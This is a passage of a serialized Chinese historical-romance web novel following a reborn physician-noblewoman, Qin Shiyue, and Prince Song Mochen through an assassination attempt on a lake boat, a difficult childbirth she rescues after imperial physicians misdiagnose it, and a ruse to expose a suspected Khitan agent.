宋墨辰看都不看她,语气冰冷,“陈姑娘,本王警告你,以后收起那些小心思。本王的王妃只能是秦时月!” 陈婉清心中又痛又嫉妒,泪水忍不住夺眶而出。 可她也算看清了局势,若想成功进府,怕是,还得从秦时月身上下手! 想到这,她藏起所有恨意,朝着秦时月跪地磕头,泪眼汪汪的,好不惹人怜爱。 “姐姐,婉清从未想过和姐姐争什么,但男子尚且三妻四妾,更何况辰王贵为王爷,后院绝不可能只有姐姐一人。婉清爱慕王爷,先前一直藏着爱慕,但如今……婉清的身子已经被王爷碰到了,若是不能嫁入王府,婉清便只有死路一条啊!” 秦时月瞧着陈婉清那副稍有心机,却又努力装出一副全是为了活命,不得已的模样,嘴角始终带笑。 这女子为了上位,也是费尽心思,只可惜,她打错了算盘。 她秦时月重活一世,早就没了心! “婉清妹妹求错了人。”秦时月歪着脑袋,眸光流转,“我可从来没有不让王爷娶侧妃,迎新人入府,而且,我不是男子,你这副样子对着我,不能引起我的怜爱。” 说着,她半倚在椅子上,端起面前的桃花酿,喝了一小口。 这桃花酿是她三个月前亲手所酿,虽然还差些火候,但味道醇厚,带着淡淡的桃花香气,入口甘甜,回味悠长,还是会让人忍不住多喝几口。 秦时月轻晃着酒杯,似笑非笑地看着陈婉清,“你若真想进王府,还是求王爷比较快,只要王爷点头,我自然不会阻拦。” 宋墨辰听着,全程没有吱声,但是眉眼低垂,浑身气息阴冷,气压恐怖。 陈婉清见状,心里得意。 秦时月说的对,虽然王爷抬举她,但谁要入府,总归不是她一个还没入门的未婚妻说了算的。 想到这,她转而看向宋墨辰,跪行到他面前,拉住了他的衣摆,“王爷,您就可怜可怜婉清吧,婉清实在是走投无路了……” “时月方才的话,可是真心的?”宋墨辰没有理会陈婉清,而是轻声问向秦时月。 没有人看到他宽大袖袍下紧攥的拳头,没有人知道他现在有多气、多难受。 他以为,他表现的够明显了,他的时月那样聪慧,一定会明白,他此生除了她,不会再要第二个女子。 可现在,她的话,伤到了他…… 秦时月愣了一下,酒精上头,一时间有些反应不过来。 陈婉清不甘心,扯扯他的衣摆,道:“王爷,姐姐已经说的很清楚了,求您给臣女一条生路吧。” 贱人!明明做不得主,却又在这勾引王爷! 等她进了王府,她一定会让王爷看清她的真面目,从此厌弃了她! “滚开!”宋墨辰猛的撤回衣摆,陈婉清一时不查,身体猛的向前栽去 可宋墨辰尤不解恨,冷冷看向她,眼神像是要吃人,“走投无路?你父亲身为礼部尚书,难道还养不起你?还是说,你是觉得凭你这样的姿色,能入得了本王的眼!?” 陈婉清挣扎着坐起来,却被这番话怼得当即红了眼眶。 她咬着唇,眼泪在眼眶里不断打转。 不等她为自己辩解,宋墨辰怒气冲冲的走到秦时月身边,伸手攥住了她的手腕。 正要将人拽起来,让她看清眼前的人,认清自己的心,突然,画舫外传来一阵喧闹声,下一秒,几个黑衣人挥舞着刀剑飞上画舫,来势汹汹。 “不好,有刺客!”宋墨辰脸色一变,迅速转身从一旁抽出佩剑,将秦时月护在身后。 这里是湖面上,暗卫不好跟着,所以被留在了岸上。 秦时月躲在他身后挑挑眉,心里不仅不慌,反而生出一丝兴奋。 许久没动手,今日喝了些酒水,手倒是痒痒了。 侍书反应及时,也在第一时间抽出佩剑,挡在了几人身前。 陈婉清还从来没有见过这样的场景,她被吓得脸色惨白,蜷缩在角落里瑟瑟发抖。 黑衣人跃上画舫后,二话不说便朝着秦时月攻来。 冲时月来的? 宋墨辰眉头一拧,举起佩剑冲进人群。 他一手剑花耍的漂亮,一时间,寒光四射,剑气纵横,黑衣人瞬间折损两个。 就在宋墨辰、侍书与黑衣人激战正酣时,其中一个黑衣人瞅准时机,突然举剑朝着秦时月扑来。 秦时月心里暗道一声:来的好!侧身躲过,然后手心一番,寒光闪过,黑衣人的手臂上瞬间多了一根银针。 黑衣人吃痛,手腕一翻,手中的剑,啪嗒一声掉落。 局势逆转,本可以喘口气,谁知更多的黑衣人跳了上来。 他们被团团包围,局势再次变得危急焦灼。 宋墨辰担心秦时月受伤,一边奋力抵挡黑衣人,一边大声喊道:“时月,你小心些!” 蜷缩在角落的陈婉清像被遗忘,她满脸惊恐的看着这一幕。 性命受到威胁,她头一次后悔今日跟他们出来游湖。 秦时月眼神兴奋,小手往下,摸到了袖袋里的药粉和腰间的匕首。 第208章 褚良才的算计? 就在这千钧一发之际,远处突然有两艘船快速接近,似乎有援兵赶来。 原来,是岸边守候的影夜察觉到不对劲,立刻带人赶了过来。 黑衣人听到动静,脸上露出一丝慌乱,他们相互对视一眼,竟不再恋战,转身跳入水中,迅速四散逃离。 宋墨辰看着黑衣人离去的方向,眼神阴鸷,“侍书,不得放过一个!” “是!” 侍书和影夜等人汇合,宋墨辰才转身走到秦时月身边,紧张的抓着她的胳膊上下打量,“时月,你没事吧?” 那群该死的东西,若时月有半分损伤,他要剥了他们的皮! 秦时月摇摇头,“我没事。”说着,扭头看向陈婉清,“快去看看婉清妹妹。” 她到底是官眷,若是在画舫上出事,宋墨辰即便贵为辰王,也难辞其咎。 宋墨辰的眼底闪过一丝不悦,但还是扭头看去。 只见陈婉清浑身轻颤,见脱离了危险,这才从角落里走出来,心有余悸地说道:“殿下,姐姐,刚刚真是太可怕了。” 秦时月眸光深邃,看了她一眼,收回了视线。 其实,她对这场刺杀有几分猜测,只是现在看到陈婉清的反应,她心底的怀疑便打消了。 若这群人真是陈婉清安排的,她不会被吓到精神恍惚,而且,礼部尚书,应该没那么大的胆子。 宋墨辰冷哼一声收回视线,“时月,看来这京城并不太平,你以后出门一定要多加小心。” 宋砚辞、宋承恩均已伏法,他实在想不到,还有谁有这么大的能耐,竟然能一次性调动这么多人。 “我知道。”秦时月笑笑。 有外人在,她并没有说明。 …… 城郊外的墓群下。 褚良才脸色阴鸷,猛地将手中的茶杯砸了出去。 跪了一地的黑衣人不敢动,其中一人的脑袋硬生生被茶杯砸的血流如注。 “主子息怒……” “废物!我让你们去刺杀辰王,你们竟然敢对秦时月下手!” 他气,气此次任务没完成,更气他们竟然敢擅作主张,对秦时月下手。 “主子,那明月县主乃是辰王的软肋,只要将她除掉……” “放肆!”褚良才眸光一沉,眼底闪过一丝杀意,“她是本王看中的女子,你还妄想除掉她?来人,拖出去,喂狗!” “是!”立刻有两个黑衣人上前将人拖了出去。 不一会儿,便传来一阵骇人的惨叫,随后,一切归于平静。 褚良才揉了揉太阳穴,眼中满是阴狠,“重新制定计划,下次行动,绝对不能再出任何差错!务必要让辰王死!” “是!”剩下的黑衣人心头恐惧,强装镇定,齐声应道。 “记住,不得伤害秦时月,有违者,刚才的人,就是下场!” “是!” …… 另一边,宋墨辰带着秦时月回到岸上。 秦时月虽打消了对陈婉清的怀疑,但总觉得此次刺杀有些蹊跷。 如今整个京中遍布他们的眼线,他们的人却没有在第一时间发现这样一队刺客,岂不奇怪? 她微微皱着眉,一脸沉思。 宋墨辰看她这副模样,又心疼又不甘被冷落,“时月放心,影夜已经带人去追查了,想必用不了多久就会有消息。” 今日是他疏忽了,差点让时月暴露在危险中,以后,他绝不会让同样的事情发生! 秦时月抬眸,眸光深沉,“此事,背后之人肯定不简单,或许还会有后续动作。我担心……” “不必担心,我会一直守在你身边。”宋墨辰说着,一把将她抱进怀里。 她身上特有的草药香,像是能安抚人心,只有这个时候,他才会觉得她是他的。 陈婉清在一旁看着两人亲密的模样,心中嫉妒不已,却又不敢表露出来。 她咬了咬唇,眼中闪过一丝不甘。 不过,今日秦时月倒是让她刮目相看了。 没想到,表面看起来柔柔弱弱的县主,竟然是个在面对刺杀时面不改色,还有还手之力的女英雄。 难不成,这便是她深得辰王喜爱的原因? “侍书,派人送陈小姐回去。”宋墨辰没工夫搭理陈婉清,说完,就毫不避讳的一把将秦时月抱起来,登上马车。 揽月园。 小荷一脸后怕的看着秦时月,眼眶通红,一看就是刚哭过。 秦时月无奈的叹口气,道:“你家小姐这不是没事吗?你怎么又哭了?” 小荷吸吸鼻子,满眼担心,“奴婢听影夜大哥说,您和王爷今日在湖上遭遇了刺杀,可吓坏奴婢了。幸好小姐吉人自有天相,没出什么事。” “放心吧,你家小姐有福星照着,绝不会出事。倒是你,哭的眼睛都红了,像只小兔子似的,快去用冷水敷敷。” 重生一世,若是没有万全的把握,她绝不会轻易让自己涉险。 “小姐还打趣奴婢。”小荷嗔怪一声,道:“今日之事也太惊险了,也不知到底是什么人,竟敢在京城行刺。” 秦时月微微皱眉,神色凝重,“我也在想这个问题。这背后之人肯定不简单,而且,此次刺杀,恐怕只是个开始。” “啊?还会有后续?”小荷一脸担忧,“那小姐岂不是很危险?” “是呀,所以我们日后行事,要更加小心些才是。” 她身边遍布暗卫、高手,她自己也有自保的能力,所以,真出事,也不是什么简单的,她就是故意逗逗这个爱哭的小丫头。 果然,此话一出,小荷的脸色又白了白。 “好了好了,小荷,你去和小青打些水来给小姐沐浴。”肖嬷嬷推门而入,无奈的摇摇头,“小姐,您别想太多了,喝点参汤休息一下吧,这是厨房刚熬好的。” “嗯,谢谢嬷嬷。”秦时月接过汤碗,轻轻抿了一口,心思飘的有些远。 就在这时,门外突然传来一道急切的惊呼声。 “大小姐,您快去看看吧,夫人胎大难产,府医束手无策啊……” 芳姨娘出事了? 秦时月收回思绪,纤细的手指没甚规律的摩挲着碗沿。 “小姐还是别去蹚这趟浑水的好,老奴听闻,这些日子夫人胎像不稳,怕是出事后要赖上小姐……”肖嬷嬷一脸紧张。 第209章 大发善心,陷入漩涡 秦时月嘴角带笑,若是前世的她,这种事,她不仅不会理会,反而会心疼她的母亲,可现在嘛…… “她怀着的毕竟是侯府的孩子,生出来也要喊我一声姐姐,于情于理,我都不能不管。”说着,她放下汤碗,起身往外走去。 小荷一听,急忙跟上。 俩人赶到芳姨娘的院子,还未进门,就听到里面传来阵阵痛苦又虚弱的嚎叫声。 秦时月眉头微皱,抬脚走进屋内。 只见窗幔后,芳姨娘面色惨白发青,满头大汗,正躺在床上痛苦地挣扎着。 府医站在一旁,不停地摇头,显然对此束手无策。 “大小姐,您可算来了,救救夫人吧,夫人疼得实在受不了了……”一旁的丫鬟哭哭啼啼地求道。 她是跟芳姨娘一起进府的,自然知道若是芳姨娘没了,她往后的日子也好不了,所以,她此刻比任何人都要着急。 秦时月的眼中没有丝毫怜悯,淡然说道:“府医都没办法,我又能如何?” 若是没有先前的背叛,她会想办法救她一命,现在嘛…… 早已虚弱脱力的芳姨娘听到她的声音,勉强睁开眼,伸出手想要拉她的衣角,语气里满是对死亡的恐惧。 “大,大小姐,求求您救救我,我知道错了,我,我死不足惜,但孩子是无辜的,他将来还要唤您一声姐姐的啊……” 秦时月面色不变,心里却有了一丝松动。 不论如何,孩子是无辜的。 见她始终不发一语,芳姨娘的眼里闪过一丝慌乱,大喘着气道:“大小姐,先前是我被猪油蒙了心,求你看在这孩子的份上,救救我们母子吧……” 秦时月还未开口,丫鬟噗通一声跪倒在地,双手死死扒着她的双腿,“大小姐,我家夫人是真的知道错了,求您大发慈悲,救救她和小少爷吧。” “罢了,看在孩子的份上,我便试试吧。不过,我不能保证一定能救得了你们。”秦时月沉声道。 说着,她从袖袋中拿出一个小瓶子,从中倒出一粒药丸,让丫鬟喂给芳姨娘吃下。 “这是能吊着你一口气,让你不至于昏死过去的药,一会儿我会给你施针,至于结果如何,只能听天由命。” 药丸下肚后,芳姨娘的痛苦似乎减轻了一些,她慌不择路的点点头,感激地看着秦时月,道:“谢谢大小姐赐药……小蕊,你记着,无论本夫人和孩子的命运如何,都与大小姐无关。” “是夫人,奴婢记下了。” 秦时月挑挑眉,嘴角勾起一抹冷笑。 这芳姨娘现在倒是不蠢了。 就在秦时月掏出银针打算施针时,门外突然传来一阵嘈杂声,紧接着,长乐侯匆匆走了进来。“逆女,这是怎么回事!?你怎么能给芳娘乱吃药!?” 原来,府医自知自己医术不行,眼看秦时月被唤了过来,他怕出事担责任,连忙退出去找来了长乐侯。 秦时月扫了眼跟在后头的府医,不慌不忙地说道:“爹,女儿也是看夫人痛苦,才想帮帮她。这药丸是女儿特制的,不仅能缓解……” “够了!”长乐侯压根不听,转而看向府医,“你快给芳娘看看,若是有什么差池,本侯让你们陪葬!” 来之前,他已经命人去宫里请太医了,只要能撑到太医赶到,芳娘和孩子都不会出事! 府医不敢怠慢,连忙凑上去把脉查看。 这脉象,他还从来没见过……他眉头紧锁,一时有些拿不定主意。 就在众人僵持不下时,芳姨娘突然又惨叫起来,整个人在床上左右翻滚着,情况似乎变得更加危急了。 长乐侯脸色大变,语气里多了几分狠戾,“这到底是怎么回事!?混账东西,你到底给芳娘吃了什么!” 这药能保芳姨娘三个时辰不出事,秦时月干脆收起银针,淡漠回道:“能保她一命的东西……” 秦时月话音才落,芳姨娘的下体突然一热,一股羊水涌了出来。 她面色苍白毫无血色,人也浑浑噩噩起来,吓的产婆心慌不已。 “侯爷,太医请来了!” 就在长乐侯要大发雷霆之际,门口传来下人的声音,下一秒,两个太医推门而入。 两人上前查看一番,当即脸色凝重的看向秦时月,“不知县主用了什么药?” 秦时月神色平静,“活血止痛、固本培元的草药制成的药丸,能帮夫人稳住心神,缓解痛苦。” 其中一位太医当场脸色大变,“县主此举是有些道理,只是夫人本就胎大难产,再用此药,药性未免太过猛烈,如此一来,反倒激发了夫人体内的血气,若是不加以止血,怕是要出现血崩之兆!” 长乐侯一听,脸色更加难看,看向秦时月的眼神像是要吃人,“逆女,你是不是故意的!?” 秦时月心中冷笑着扫了一眼两位太医,一屁股坐到了一旁,“太医如此说,必是有办法保夫人和孩子平安,那就有劳二位了!” 真是愚蠢。 芳姨娘的情况根本不是他们口中说的这种。 她的脉象表面看确实不适合用活血止痛的药,可辩证、辩证,辩的就是其中的不同。 芳姨娘脉象紊乱,实则是气血淤积所致,那药丸不仅能活血,还能化瘀,固本培元,本是救她的良药。 可此时,却被这两个昏庸无能的太医诊错……啧,她倒想看看,一会儿他们要怎么收场。 两位太医对视一眼,也不耽搁,急忙开始施针用药。 长乐侯站在一旁心急如焚,来回踱步的看着床上的芳姨娘,嘴里不停念叨着,“一定要平安无事,一定要平安无事……” 秦时月坐在一旁冷眼旁观,小荷心里气恼,但还是不忘给自家小姐倒上一杯茶。 侯爷宁愿轻信外人,也不肯相信小姐的医术,他莫不是忘了,长公主的头疾是小姐治好的。 还有,自从小姐开办医馆,这神医的名声几乎传遍了京城的大街小巷,多少人求都求不来! 果然如秦时月所料,过了好一会儿,芳姨娘的情况不仅没有好转,反而愈发糟糕。 第210章 黑锅一个接一个 她的叫声不仅渐渐微弱,气息也变得若有若无,眼白都翻了起来。 长乐侯老来得子,见状,忍不住骂骂咧咧,“怎么回事!?芳娘怎么没声音了!?” 两位太医的额头满是汗水,手上的动作也越发慌乱。 血流之势是止住了,可胎儿胎位不正,任凭芳姨娘怎么用力,胎儿就是没有往下走的迹象,现在,她力气用尽,出气多进气少,一副随时会撒手人寰的样子。 两位太医对视一眼,一咬牙,其中一个出来,拱手禀报,“侯爷,非是我们医术不行,实在是方才大小姐的那颗药……侯爷,还是早早为夫人和小公子准备后事吧。” 他一脸沉痛,言词间,却将所有的责任推到了秦时月身上。 长乐侯一听,顿时火冒三丈,转身怒视着秦时月,双眼通红的骂道:“你这个逆女!平日里你行事乖张也就罢了,没想到今日竟如此狠毒!你竟然连自己的弟弟都害!芳娘和孩子出事,本侯定要让你为他们偿命!” 秦时月单手托着下巴,戏看够了,这才缓缓起身,“父亲就没想过,是这两位太医医术不精诊断错误,又用药不当,这才导致夫人面临这般境地?” 两位太医一听,眼底闪过一丝慌乱,其中一人连忙说道:“县主,话可不能乱说!我们行医多年,宫中娘娘的龙胎都是我们保的,怎会诊断错误?分明是您用药过猛,才导致夫人回天乏术!” “行医多年?回天乏术?呵。” 秦时月轻嗤一声,表情淡漠的看着他们,“连气血淤积和血气过旺都分不清楚,也敢称行医多年!?夫人脉象紊乱,实则是气血淤积所致,我那药丸能活血化瘀,吊她一口气的同时加速生产。而你们却误判,用了止血药!胎儿本就胎位不正,又被强行止住血气,自然难以顺利产出!” 长乐侯微微一怔,他虽不懂医术,但见秦时月说得头头是道,心里难免有些动摇。 俩太医内心慌乱不已。 长乐侯夫人虽然没有诰命在身,但他们到底是宫中太医,若承认是他们医术不精,没本事保住大人和孩子,将来他们还如何在太医院立足? 想到这,俩人咬紧后槽牙,梗着脖子朝长乐侯拱了拱手,“侯爷,若是没有那颗药,我等拼上一身医术,也能保夫人和小少爷平安降生,可如今,我们实在是没办法。” 话落,另一人立刻接话,“张太医说的是,既然县主说都是我们医术不精,那她定然有办法扭转乾坤。” 秦时月冷冷一笑。 这是把脏水泼到她身上还不够,如今还想给她下套,让她承担所有风险,真是无耻! “时月……”长乐侯一时间拿不定主意,张口想求她出手。 不等他说话,芳姨娘突然发出一声微弱的呻吟,然后双眼一翻,彻底昏死过去。 婢女被吓的魂飞魄散,哆嗦着冲出来求救,“侯爷,夫人,夫人她昏死过去了,求求您快救救夫人吧!” “什么?怎么会这样?”长乐侯脑袋嗡的一声,身子踉跄一下向后退了一步。 人命关天,秦时月知道现在不是意气用事的时候,叹口气,掏出银针走了进去。 两个太医见状,眼底闪过一丝得逞。 若人救回来了,他们可以说是他们先前的手法拖延了时间,若是人救不回来……那就是她明月县主的责任。 不论结果如何,他们都能置身事外! …… 与此同时,王府书房。 “王爷,刺客跳入水中后,四散逃离,我们只抓到了几个受了重伤跑不动的,其余的还在搜捕。” 影夜单膝跪地,一脸自责。 “无妨。”宋墨辰面色阴沉,“审问出什么了吗?” “那几个刺客嘴硬得很,什么都不肯说。不过,从他们的身手和装束来看,不像是普通的杀手。”影夜说道。 “不像普通杀手?”宋墨辰微微眯起眼睛,眼底寒光乍现,“难道是朝中有人想要对本王不利?” “回王爷,属下在他们身上翻出了这个。”影夜说着,翻开手掌,掌心是几颗蜡封药丸,“属下查验过,此药是剧毒之物,见血封喉。不过奇怪的是,此物似乎不是中原之物。” “哦?还有什么线索?” “暂时没有其他的了。” “继续查。”宋墨辰语气冰冷,“掘地三尺也要把幕后之人找出来。还有,加强对揽月园的守卫,绝不能让时月再陷入危险之中!” “是!”影夜领命而去。 宋墨辰坐在椅子上,陷入沉思。 那药不是中原之物,难不成想要他命的,是其他国度的? 此次刺杀不仅专挑他们身旁无人可用之际,且来势汹汹,背后之人,显然是对他们的行踪有一定掌握。 是身边出现了眼线,还是被人盯上了? 他们的目的是什么?是冲着他来的,还是针对时月?又或者,两者皆有? 宋墨辰起身,抬脚向外走去。 既然疑点如此多,那不如,他亲自下一趟地牢,亲自审问一遍。 不肯开口?他有的是办法让他们开口! …… 秦时月来到芳姨娘床边,快速找准穴位,手中银针如流星般落下。 外头的长乐侯紧张地盯着床上的芳姨娘,双手不自觉地握紧,两个太医站在一旁,表面镇定自若,可眼底却藏着一丝幸灾乐祸,就等着看秦时月搞砸。 不知过了多久,屋内的气氛越来越凝重,就在长乐侯觉得快要喘不上气的时候,芳姨娘突然长出一口浊气,缓缓睁开了双眼。 长乐侯听到动静,眼中闪过一丝惊喜,“时月,你……你真能救他们母子!?” 秦时月没有理会他,而是专注地盯着芳姨娘的反应,捻动着银针不停变换着角度和力度。 又过了一会儿,芳姨娘再次发出一声微弱的呻吟,声音虽然微弱,但比刚才又多了一分力道。 “夫人醒了,夫人醒了!”婢女激动不已,哭着冲了出来。 长乐侯心中大喜,刚要开口夸赞秦时月,却听其中一个太医无奈的说道:“侯爷莫要太过高兴,这不过是回光返照罢了,县主此举,不过是拖延时间,最终……夫人和小公子还是保不住的。” 第211章 刺客来自契丹 秦时月冷笑一声,没有搭理他们,而是再次掏出一颗药丸,喂给芳姨娘吃下。 那药丸入口即化,药丸下肚后,芳姨娘的气息明显平稳许多,气息下沉,甚至能自行用力了。 产婆在一旁惊喜地喊道:“侯爷,夫人的肚子有动静了,胎儿开始往下走了!” 长乐侯又惊又喜,看向秦时月的眼神充满了复杂之色。 他没想到秦时月真的有本事,更没想到,她是真心要保住这个孩子的…… 不多时,芳姨娘顺利诞下一个男婴。 男婴啼哭声响亮,身上虽然皱巴巴的,但粉雕玉琢,好不惹人怜爱。 长乐侯喜极而泣的抱着孩子,嘴里不断嘟囔一个字,“好,好”。 秦时月面色不变,在给芳姨娘行过最后一遍诊后,才收起诊,擦了擦额头上的薄汗,“一会儿我开个方子,你们煎给夫人喝,连喝半月,便能彻底恢复气血元气。” 说完,她转身欲走。 长乐侯这才回过神来,抱着孩子想说什么,张了张嘴,却一个字都没吐出来。 而那两个太医此刻面色涨红,一脸的欲言又止。 他们是真没想到秦时月有如此本事,也难怪,京中盛传:明月县主是神医…… 翌日。 影夜亲自来接秦时月去王府一续。 王府书房里,宋墨辰亲自为她冲泡好了花茶。 她一进门,便闻到了一股淡雅的花香,整个人顿时觉得轻松了几分。 “时月来了,快坐。”宋墨辰亲自起身将人迎进来,然后给了影夜一个眼神,影夜立刻带着小荷退了出去。 “这么急着找我,可是那些刺客有线索了?” 秦时月笑着落座,问道。 “果然什么都瞒不过时月。”宋墨辰给她倒了杯茶,然后一脸凝重,“那些人起初什么都不肯说,本王用了些手段,总算套出了一些话。他们,乃契丹人。” “契丹人?”秦时月微微皱眉,眼中闪过一丝疑惑,“他们是如何混进京中的,又为何突然对咱们下手?” 宋墨辰神色冷峻,缓缓说道:“虽然我没有问出更有价值的信息,但据我猜测,此次刺杀极有可能与我近日所负责的边关事务有关。当然,还有一种可能,那就是,他们隐匿在京中这件事,已经不安全了。” 秦时月低头沉思片刻,道:“若是与边关事务有关,那背后主谋很可能想通过刺杀你来扰乱当前局势,进而谋取利益。若是另一种……那就意味着,咱们的某些行动,已经影响到他们,甚至让他们举步维艰,所以他们才会狗急跳墙。” 宋墨辰微微点头,“我也是这么想的。但是我觉得,后者的可能性更大一些。你还记得最近京中出现的大事件吗?” 秦时月轻抿一口茶,冷哼一声,“自然没忘,人口贩卖!” “不错,我怀疑,此次刺杀,很可能跟贩卖人口有关,但目前为止,我查到的消息不多,还不能肯定。” 宋墨辰之所以这么想,是因为这段时间京中对人口的登记更加严谨了些。 这样一来,那些贩卖人口的自然找不到机会。 不仅如此,往来进出城的商贩,在最大限度的受到了盘查,想要带什么人或违禁物离京,根本是不可能的。 他怀疑,正因为此,那些人才会按捺不住,出手了。 “既然知道是契丹人,那就好办了,不妨从与契丹往来密切的商人、使节、大臣们入手,说不定能找到突破口。”秦时月想了想,提议道。 “我已经安排人去查了。只是,杨太师的事还没尘埃落定,此事不能太张扬。”宋墨辰说道。 “嗯,暗中调查即可。还有,那些刺客这次没有成功,但他们背后肯定还有主谋,要防止他们再次出手。” “时月放心,我已经让影夜加调人手了。”宋墨辰眸光一寒,说道。 对他动手?可以,对时月动手,找死! 从王府出来后,秦时月去了医馆。 这两日事情太多,她两日没来,这里已经等候了不少病人。 “小姐,您总算来了,大家伙说见不到您,他们就不看病。” 掌柜的擦擦额头上的汗,道。 “无妨,我今日有时间,让大家排好队开始诊脉了。” 秦时月微笑着安抚掌柜,而后在桌前坐下,开始有条不紊地为病人诊治。 她一边把脉,仔细询问症状,一边熟练地写下药方,不一会儿,排队的百姓就少了近一半。 就在此时,她面前投下一片阴影,随后,面前的桌面上多了一个三层食盒,食盒里散发着诱人的香味。 “这是?”秦时月抬眸,正撞进褚良才深邃的眼底。 “秦小姐,这是我方才从醉仙楼定的酒菜,不知秦小姐一会儿有没有时间,我想请你吃个饭。”褚良才一脸纯善,让人无法设防。 “我这病人还有不少,恐怕没时间陪……” “我可以等着。”褚良才连忙表示,“秦小姐不要误会,先前你在酒楼救了我,我只是,想请你吃个饭聊表谢意。” 他一身书卷气,今日又穿了一身白色带墨竹的锦缎长袍,衬的他公子世无双。 秦时月有些犹豫,但排队的百姓不少,他们若是此时为了吃饭的事纠缠起来,只会让外人看笑话。 思来想去,她终于点了头。 随着时间推移,排队的病人越来越少,终于,最后一个病人也看完了。 秦时月抬手捏捏酸胀的肩头,刚喘口气,褚良才便满眼期待的凑了上来,“秦小姐,已经诊治完了,不知现在可否赏脸与我吃顿饭?” 秦时月看了看天色,日头正当头,也确实该吃点东西垫补垫补了。 “那就老样子,二楼请。” 说着,她起身率先往二楼走去。 褚良才嘴角微勾,眼底闪过一丝志在必得,然后紧紧跟上。 小荷紧随其后。 屋内,两人刚落座,褚良才就打开食盒,掏出了几道醉仙楼的招牌菜肴。 那菜式,色香味俱全,顿时勾起了秦时月肚子里的小馋虫。 “秦小姐,请。”褚良才客气地说道。 第212章 暴露? 席间,褚良才不断提起之前在酒楼,秦时月救他之事,言语间满是感激之情。 “秦小姐不仅医术高超,还有一副菩萨心肠,当时若不是秦小姐出手,我恐怕……” 秦时月忙着吃饭,回答有些敷衍,“不过是举手之劳,褚公子不必一直挂在心上,换做别人,我也是要救的。” 这道水晶肘花味道不错,以后可以让小荷多买几次。 褚良才看着埋头吃饭的秦时月,眼神宠溺,“慢点吃,你若喜欢,明日我再……” 他正说着,楼下突然传来一阵喧闹声。 秦时月与褚良才对视一眼,起身走到窗边查看。 只见楼下的街道上,一群官兵正追赶着一个衣衫褴褛的少年,少年身手敏捷,在人群中穿梭自由,一时之间,官兵们都难以追上。 “这是怎么回事?”褚良才皱眉问道。 秦时月眼中闪过一丝微不可查的笑意,“不知道,但这少年看起来,似乎是在躲避官兵的追捕。” 就在这时,少年一个不慎,被街边的杂物绊倒,后腰的位置竟露出了一个图腾。 见状,褚良才眸光微暗,心里闪过一丝异样。 契丹人? 这两日风头正盛,他已经勒令自己的人不允许随便动手,这个少年是怎么回事? 而且,这少年的面容格外眼生,应该不是他的人,这倒奇怪了。 “好了好了,没什么可看的,方才咱们说到哪了?”秦时月藏起眼底的算计,转身回到座位。 街道上的不是别人,正是武正元。 他们处在明面,总不能将他们的安危交到那些刺客手中,所以思来想去,秦时月和宋墨辰想到了一个办法。 既然他们玩销声匿迹,那他们就来做那个催化的人。 只要京中出现“契丹”人,幕后的人一定会有所动作,到时候,想要抓住他们的小尾巴就容易的多。 褚良才的脑子乱的厉害,半晌没有动筷。 秦时月见状,抬眸看着他,面色不变,只是眼底多了几分深思。 “咳,秦小姐,我突然想到我和西市的药材商约了今日收购药材,你先吃,我去去就回。” 此话一出,秦时月嘴角的笑容加深,面上却不动声色,“啊?那你快去。” 先前,她怀疑过褚良才,因为他出现的时机不对。 但通过后期的观察和调查,她逐渐降低了对他的怀疑。 可她始终记得宋墨辰说过的一句话:褚良才的长相,不像京城人士。 所以今日这个局,与其说是做给刺客背后之人看的,倒不如说,是做给褚良才看的。 如今看来,她怀疑的,一点都不冤! 褚良才前脚离开,影夜后脚悄悄跟上,俩人的背影才消失,宋墨辰迈着四方步,脸色哀怨的走了进来。 “时月果然没良心,有时间陪一个外人用膳,也不陪我。”他一屁股坐下,潋滟眸光直勾勾的落在秦时月的脸上。 他知道她的心思,但,他还是不喜欢看到她和其他男人一起用餐,谈笑风生。 秦时月忍不住想笑,眼尾上挑着说道:“你又不是不知道我为什么答应他吃饭,少在这阴阳怪气。” 说着,夹起一块水晶肘花递到宋墨辰嘴边,“喏,给你吃,这道菜味道不错,方才褚良才还说要再给我买呢。” 宋墨辰心里幸福,刚要张嘴吃下,听到这话,顿时像吞了苍蝇般恶心,脑袋一扭,嘟囔道:“他倒是挺会挑。” “行了,别吃味了,方才你也看到街道上的情况了,褚良才看到那少年后腰的图腾后,神色明显不对劲,我猜,他八成和契丹人脱不了干系。”秦时月放下筷子,一脸深思。 “嗯,影夜已经跟上他了,看看他到底要搞什么鬼。”宋墨辰也收起了玩笑的神色,眼中闪过一丝寒光。 在他华夏大地放肆,简直找死! 此时,楼下的喧闹声已经渐渐平息,想必官兵已经将武正元带走了。 “希望这次能顺藤摸瓜,揪出背后的主谋,不然总是这么防着,太被动了。”秦时月仰头喝了口小酒,眉头微皱。 这次的菜不错,可惜了这酒,着实比不上她的桃花酿。 “放心,影夜办事靠谱,只要褚良才有问题,肯定能查出来。”宋墨辰伸手握住秦时月的手,不轻不重的捏了捏。 两人又房内推杯换盏,不知过了多久,秦时月有些醉态,影夜匆匆折回。 “王爷,小姐,褚良才离开后去了西市,但他并没有找什么药材商,而是去了一家偏僻的茶馆,属下看的真切,他与一个黑衣人见面攀谈了几句,黑衣人匆匆离开了,属下担心暴露,没敢跟的太近,所以,并没有听道什么有用的信息。” 影夜紧抿着唇,眼底闪过一丝懊恼。 “褚良才果然有问题。”宋墨辰眸光一沉,“派人分头盯着,看看他们接下来还有什么动作。武正元那边……远远盯着。” 随后,三人离开了医馆,秦时月直接回了侯府。 契丹人那边有宋墨辰的人盯着,只要对方还在京中,便不会脱离影夜他们的掌控,她只需静待回复就好。 秦时月刚进院子,还没坐下喝口水,小青就拿着一份请帖走了过来。 “小姐,上午景阳郡主来了一趟,给您留下了这个。” 秦时月挑挑眉接过,只见上边写着“赏秋诗会”几个烫金小篆。 “小姐,景阳郡主跟您向来不对付,咱们还是不去了吧……”小荷眉头紧锁,心里不免一阵担心。 在皇后娘娘举办的赏花宴上,景阳郡主都敢给小姐难堪,这要是去参加她的诗会,岂不是……羊入虎口? “噗嗤。”秦时月轻笑一下,“傻丫头,我知道你在担心什么,你对你家小姐就这般没信心吗?” 羊入虎口?谁是羊谁是虎还不一定呢! “可是……” “没什么可是的,诗会在三日后举办,你们这两日帮我准备好衣物首饰,正好咱们的明月芳华上了一批新货,也该让大家见见了。” 秦时月嘴角带笑,眉眼间带着娇俏的小精明。 第213章 陆明昭当众口出狂言 明月芳华日进斗金,但还不够。 而且,近日她盘算着想在其他城镇开办分店,如此一来,便需要更多的本钱。 景阳郡主邀请她,不用说也知道,必然存了别的心思,只是那些贵女们平日里最喜欢攀比,诗会时,便是她们看到新品、孤品的时候,到时候她们必定对明月芳华的货物更加趋之若鹜。 到那个时候,生意便能更上一层楼! 